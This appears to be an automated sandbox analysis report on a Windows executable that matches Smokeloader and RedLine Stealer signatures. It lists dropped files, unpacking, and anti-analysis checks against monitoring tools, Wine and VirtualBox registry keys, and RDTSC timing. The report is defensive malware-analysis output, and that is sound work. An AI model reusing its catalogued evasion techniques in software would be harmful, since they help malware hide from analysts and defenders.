Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009988C3		0_2_009988C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098DC20		0_2_0098DC20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A286D		0_2_009A286D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099FC66		0_2_0099FC66
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008945D9		0_2_008945D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098E5E6		0_2_0098E5E6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099D90A		0_2_0099D90A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0088E2A2		0_2_0088E2A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00823AE5		0_2_00823AE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A0E42		0_2_009A0E42
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00847A6E		0_2_00847A6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00991B94		0_2_00991B94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0087D392		0_2_0087D392
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00825B9A		0_2_00825B9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A43EA		0_2_009A43EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095EBE6		0_2_0095EBE6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099A3E5		0_2_0099A3E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099371C		0_2_0099371C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A071F		0_2_008A071F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00824322		0_2_00824322
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095F364		0_2_0095F364
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAC835		0_2_00AAC835
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A201EC		0_2_00A201EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B551B7		0_2_04B551B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5EDEE		0_2_04B5EDEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B53F87		0_2_04B53F87
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5B8F7		0_2_04B5B8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B551B7		0_2_04B551B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5F130		0_2_04B5F130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B65955		0_2_04B65955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B60B67		0_2_04B60B67

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1] F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1] 614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04B5A9C7 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 0040A760 appears 35 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 04D19B60 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 10003160 appears 32 times

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 584

Source: file.exe

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000003.2182415378.0000000005831000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs file.exe
Source: file.exe, 00000000.00000003.2181851521.00000000062A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2421891898.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.2420979596.0000000000DCC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: Y-Cleaner.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00DCD0EE CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1436

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Command line argument: emp		0_2_00408770
Source: C:\Users\user\Desktop\file.exe	Command line argument: mixtwo		0_2_00408770

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe	Virustotal: Detection: 58%
Source: file.exe	ReversingLabs: Detection: 50%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 584

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.0.dr

LNK file: ..\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe

Source: file.exe

Static file information: File size 1994240 > 1048576

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: Raw size of ydbpfsba is bigger than: 0x100000 < 0x1b4a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ydbpfsba:EW;qxyxlwfa:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.0.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: dll[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Bunifu_UI_v1.5.3.dll.0.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: soft[1].0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Y-Cleaner.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: file.exe	Static PE information: real checksum: 0x1e7dd0 should be: 0x1ed3f1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ydbpfsba
Source: file.exe	Static PE information: section name: qxyxlwfa
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D195F7 push ecx; ret		0_3_04D1960A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_04D3037D push esi; ret		0_3_04D30386
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A1F7 push ecx; ret		0_2_0040A20A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00421B7D push esi; ret		0_2_00421B86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_1000E891 push ecx; ret		0_2_1000E8A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BA480 push ebp; mov dword ptr [esp], ebx		0_2_008BA48A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BA480 push esi; mov dword ptr [esp], ebp		0_2_008BA4A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BA480 push esi; mov dword ptr [esp], 463CC60Ah		0_2_008BA4CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BA480 push ebx; mov dword ptr [esp], ecx		0_2_008BA557
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BA480 push ebx; mov dword ptr [esp], ecx		0_2_008BA625
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00942498 push 343F4062h; mov dword ptr [esp], edx		0_2_009424D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00942498 push eax; mov dword ptr [esp], ecx		0_2_00942526
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00942498 push 1A21FB7Dh; mov dword ptr [esp], ebx		0_2_009425A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00942498 push 7C472EA5h; mov dword ptr [esp], edx		0_2_009425BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00942498 push eax; mov dword ptr [esp], edx		0_2_009425DB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push edx; mov dword ptr [esp], 2064C66Bh		0_2_008F84A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push edi; mov dword ptr [esp], eax		0_2_008F84B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push 0593448Ch; mov dword ptr [esp], edx		0_2_008F84E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push ebx; mov dword ptr [esp], edi		0_2_008F8541
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push 6CBE5736h; mov dword ptr [esp], ebp		0_2_008F854A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push ecx; mov dword ptr [esp], 2C023435h		0_2_008F8583
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push ebp; mov dword ptr [esp], 6EF43584h		0_2_008F85A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push 2B2388D0h; mov dword ptr [esp], eax		0_2_008F85DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F8497 push 69E98C00h; mov dword ptr [esp], esi		0_2_008F86E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008250BB push ecx; mov dword ptr [esp], ebp		0_2_008250E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009430A8 push 26B36CC0h; mov dword ptr [esp], edi		0_2_00943162
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009430A8 push eax; mov dword ptr [esp], edi		0_2_009431A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009430A8 push edi; mov dword ptr [esp], 58623C00h		0_2_0094320F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009430A8 push ebx; mov dword ptr [esp], 1A75306Bh		0_2_0094324F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009000D5 push edx; mov dword ptr [esp], 00000000h		0_2_009000F9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009000D5 push 1C97F5D2h; mov dword ptr [esp], eax		0_2_00900119

Source: file.exe	Static PE information: section name: ydbpfsba entropy: 7.941997976065916
Source: Y-Cleaner.exe.0.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].0.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Bunifu_UI_v1.5.3.dll			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\sNe4DJsADzufDFC4vD39\Y-Cleaner.exe			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9FC7 second address: 9A9FD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9FD3 second address: 9A9FD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9FD8 second address: 9A9FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D388 second address: 99D38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D38C second address: 99D396 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FB495516616h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D396 second address: 99D3A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB49551230Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D3A5 second address: 99D3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D3AB second address: 99D3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB495512319h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9129 second address: 9A912F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A912F second address: 9A9141 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007FB495512306h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9141 second address: 9A9145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9145 second address: 9A914B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A914B second address: 9A9154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9154 second address: 9A915A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A915A second address: 9A915F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A92AF second address: 9A92DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB495512319h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9563 second address: 9A956E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A956E second address: 9A9572 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9572 second address: 9A9576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
